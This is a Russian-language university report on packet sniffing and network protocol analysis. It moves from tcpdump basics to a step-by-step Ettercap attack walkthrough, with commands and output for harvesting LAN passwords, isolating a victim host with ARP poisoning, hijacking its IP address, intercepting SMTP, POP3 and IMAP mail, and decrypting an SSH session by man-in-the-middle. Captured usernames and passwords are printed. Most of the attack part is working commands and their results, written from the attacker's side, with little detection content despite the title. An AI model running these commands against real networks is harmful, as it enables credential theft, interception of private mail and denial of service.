Министерство Высшего и Среднего Специального
Образования Республики Узбекистан
Ташкентский Государственный Технический Университет
Факультет: «Компьютерные технологии»
Кафедра: «Компьютерные системы и сети»
РЕФЕРАТ
На тему: «Определение подозрительных пакетов, анализ протоколов сети»
Выполнил: | маг. гр. 51М-02ИБ Д. Бобокулов |
|
|
Принял: | доц. Каримов М.М. |
Ташкент-2002-03
В настоящее время аппаратная архитектура Ethernet завоевала большую часть рынка при создании локальных сетей, хотя существуют и другие аппаратные решения не на IEEE 802.3, такие как FDDI, Token Ring (802.5), ARCNET, WAN, ATM и другие. Относительная недороговизна в сочетании с технической скоростью передачи данных в 10, 100 и 1000 мегабит в секунду способствует ее популярности. Сеть Ethernet работает как магистраль, через которую любой узел может пересылать пакеты на другой узел, подключенный к тому же сегменту сети. Для перенаправления пакетов из одной сети в другую необходимо пользоваться репитером, свитчем или концентратором. Процесс передачи фреймов обеспечивает межсетевой протокол, который не зависит от оборудования и представляет различные сети в одну сеть. Но при использовании этого протокола нет гарантий, что пакет достигнет адресата, но решение этой задачи обеспечивает протокол TCP/IP, занимающийся гарантированной доставкой пакетов. TCP не единственный протокол в стеке протоколов TCP/IP, существует еще протокол UDP, который много быстрее протокола TCP, так как не создает и не закрывает сеанс соединения, а узел с помощью его просто отправляет данные в дейтаграммах другим узлам в сети. Пакет, отправленный в широковещательной сети одним из узлов, принимается всеми находящимися в этом сегменте сети машинами, но только узел назначения, указанный в заголовке пакета, "смотрит" на него и начинает его обработку (относится и к TCP и к UDP протоколам).
Перехватчики сетевых пакетов могут не только использоваться администратором сети для проверки и детального анализа правильности конфигурации сетевого программного обеспечения, но и представляют собой серьезную угрозу, поскольку могут перехватывать и расшифровывать имена и пароли пользователей, конфиденциальную информацию, нарушать работу отдельных компьютеров и сети в целом.
Анализаторы пакетов относятся к классу инструментальных программных средств для мониторинга сетевого трафика и выявления некоторых типов сетевых проблем. По умолчанию сетевой интерфейс видит пакеты, предназначенные только для него. Однако анализаторы устанавливают его в режим приема всех пакетов - promiscuous mode, прослушивают сеть и заставляют сетевой интерфейс принимать все фреймы, вне зависимости от того, кому они адресованы в сети.
Программные средства анализа подозрительных пакетов на примере ОС Linux.
Для установки "вручную" сетевого интерфейса в неразборчивый режим необходимо включить флаг PROMISC: ifconfig eth0 promisc; для отключения promiscuous mode: ifconfig eth0 -promisc .
Ярким примером инструментального программного средства служит программа tcpdump, написанная Вэном Якобсоном и поставляющаяся сейчас со многими дистрибутивами. Пример использования tcpdump:
tcpdump -i eth0 -n -vv -w /root/tcpdump.log
где:
-I - сетевой интерфейс;
-n - делаем числовой вывод адресов и номеров портов;
-vv - очень подробный вывод;
-w - запись лога в файл.
Чтобы прочитать перехваченный трафик из лога (выводим не на консоль, а в файл):
tcpdump -r /root/tcpdump.log > /root/tcpdump0.log
Фрагмент работы tcpdump:
14:06:28.250082 B 192.168.5.17.1445 > 255.255.255.255.8167: udp 21
14:07:24.126187 > midian > 192.168.5.23: icmp: echo request
14:07:24.126667 < 192.168.5.23 > midian: icmp: echo reply
Первая строка показывает, что 192.168.5.17 пользуется программой для общения в локальной сети (делает широковещательный запрос, используется порт 8167), вторая и третья указывают, что хост midian проверяет машину с IP-адресом 192.168.5.23 программой ping.
Анализаторы пакетов, несомненно, полезны для решения администратором сети известных и неизвестных проблем, но существует и обратная сторона медали: неразборчивый режим приема пакетов позволяет злоумышленнику получать весь трафик в сети и фильтровать его на наличие имен, паролей пользователей, незашифрованных писем и т.д. Теперь все только ограничивается фантазией хакера.
Ettercap
Особенности этого сниффера:
Установка сниффера:
./configure
make
make install
Установка плагинов:
make plug-ins
make plug-ins_install
Некоторые опции сниффера:
-a, -s, -m - различные виды прослушивания;
-N - запускать сниффер без псевдографики;
-z - запуск в спокойном режиме;
-d - не преобразовывать IP-адреса в имена;
-i - сетевой интерфейс;
-l - вывести список хостов в сети;
-C - собирать все имена и пароли пользователей;
-f - определение операционной системы удаленного хоста;
-p - работа с плагинами;
-L - записывать в лог, имеющий формат: год:месяц:день-collected-pass.log
Рассмотрим некоторые виды использования этого сниффера. Перехватываем все имена пользователей и пароли в нашем сегменте сети и записываем в лог:
ettercap -NdzsCLi eth0
После недолгого ожидания получаем необходимое ;)
14:43:45 192.168.5.29:1755 <--> 212.48.140.154:80 www
USER: leshii
PASS: softerra
http://www.nm.ru/gateway_chat.shtml
Определяем операционную систему хоста, например, с IP-адресом 192.168.5.24:
ettercap - Ndzsfi eth0 192.168.5.24
Смотрим установленные у нас плагины и описания к ним:
ettercap - N -p list
Для активации плагина (например, пропингуем какой-нибудь хост):
ettercap - N -p ooze 192.168.5.33
Самый интересным плагином является leech. Он изолирует удаленный хост от сети. Пример работы этого плагина:
Сначала проверим, "жив" ли хост:
andrushock# ping -v -c 4 192.168.5.23
PING 192.168.5.23 (192.168.5.23): 56 data bytes
64 bytes from 192.168.5.23: icmp_seq=0 ttl=128 time=0.945 ms
64 bytes from 192.168.5.23: icmp_seq=1 ttl=128 time=0.562 ms
64 bytes from 192.168.5.23: icmp_seq=2 ttl=128 time=0.524 ms
64 bytes from 192.168.5.23: icmp_seq=3 ttl=128 time=0.520 ms
Запускаем плагин (операционная система хоста жертвы - win98se):
andrushock# ettercap -Ndp leech 192.168.5.23
Наблюдаем за процессом работы:
Your IP: 192.168.5.21 MAC: 00:50:BF:4A:48:F3 Iface: ed0
Starting ./ec_leech.so plugin...
Building host list for netmask 255.255.255.0, please wait...
Sending 255 ARP request...
Listening for replies...
Isolating host 192.168.5.23...Press return to stop
Ждем пару минут и смело нажимаем ^C, затем проверяем работу плагина:
andrushock# ping -v -c 4 192.168.5.23
PING 192.168.5.23 (192.168.5.23): 56 data bytes
---192.168.5.23 ping statistics---
4 packets transmitted, 0 packet received, 100% packet loss
andrushock#
Сетевой интерфейс на машине жертвы на некоторое время перестает работать, хотя операционная система и запущенные приложения функционируют в том же нормальном режиме. Но этого "некоторого" времени хватает, например, для того, чтобы заполучить себе IP-адрес жертвы:
ifconfig eth0 down
ifconfig eth0 inet 192.168.5.23
ifconfig eth0 up
И набираем команду, чтобы удостовериться о нашем "новом" IP-адресе: ifconfig eth0
Перехват незашифрованных почтовых сообщений. Вид записи: ./ettercap -Nzds <IP-адрес почтового сервера>:<port почтового сервера> <IP- адрес клиента>
Пример перехвата исходящих писем:
./ettercap -Nzds ANY:25 ANY > /root/sniff.smtp
И смотрим через некоторое время, что попалось в наши сети (привожу часть лога):
сat /root/sniff.smtp
Your IP: 192.168.5.21 with MAC: 00:50:BF:4A:48:F3 on Iface: eth0
Press 'h' for help...
Sniffing (IP based): ANY:0 <--> ANY:25
18:19:14 192.168.5.23:1030 --> 80.68.244.5:25
18:19:14 80.68.244.5:25 --> 192.168.5.23:1030
Далее идет процесс аутентификации, письмо от кого, адрес реципиента, их валидность и сам текст письма.
To: andrushock@fromru.com.
Subject: test.
Mime-Version: 1.0.
Content-Type: text/plain; charset=us-ascii.
Content-Transfer-Encoding: 7bit.
.
Hello andrushock,.
.
Test for Softerra.
.
-- .
Best regards,.
Noname mailto: ******@pisem.net.
Далее сообщение демона о принятии письма к отправке и завершение почтовым сервером соединения.
Для перехвата входящих в локальную сеть электронных писем используем:
./ettercap -Nzds ANY:110 ANY > /root/sniff.pop3
или
./ettercap -Nzds ANY:143 ANY > /root/sniff.imap4
Пример перехвата паролей во время сессии SSH:
На одной машине 192.168.5.21 стоит ettercap (назовем злоумышленник), на втором 192.168.5.4 sshd (назовем сервер), а на третьем 192.168.5.22 SecureCRT (назовем клиент).
./ettercap -Ndl - выводим список всех ip с МАС-адресами машин в сегменте локальной сети, запоминаем только МАС-адреса сервера и клиента. Запускаем сниффер на прослушивание и ждем когда клиент инициализирует сеанс Secure Shell с сервером и начнется процесс аутентификации. В этом случае машина злоумышленника является "мостом", через который будет проходить и расшифровываться на лету весь проходящий траффик между клиентом и сервером.
Вид записи:
./ettercap -za <IP-адрес сервера> <IP-адрес клиента> <MAC-адрес сервера> <MAC-адрес клиента>
./ettercap -za 192.168.5.4 192.168.5.22 00:50:BF:03:BC:47 00:A0:24:93:61:3D
Привожу "текстовый скриншот"
ettercap 0.5.4
SOURCE: 192.168.5.22 ? Filter: OFF
doppleganger - illithid (ARP Based) - ettercap
DEST: 192.168.5.4 ? Active Dissector: ON
??? hosts in this LAN (192.168.5.21 : 255.255.255.0)
1) 192.168.5.22:1252 ?? 192.168.5.4:22 | silent | SSH decrypt
Your IP: 192.168.5.21 MAC: 00:50:BF:4A:48:F3 Iface: ed0 Link: not tested
USER: testuser
PASS: softerra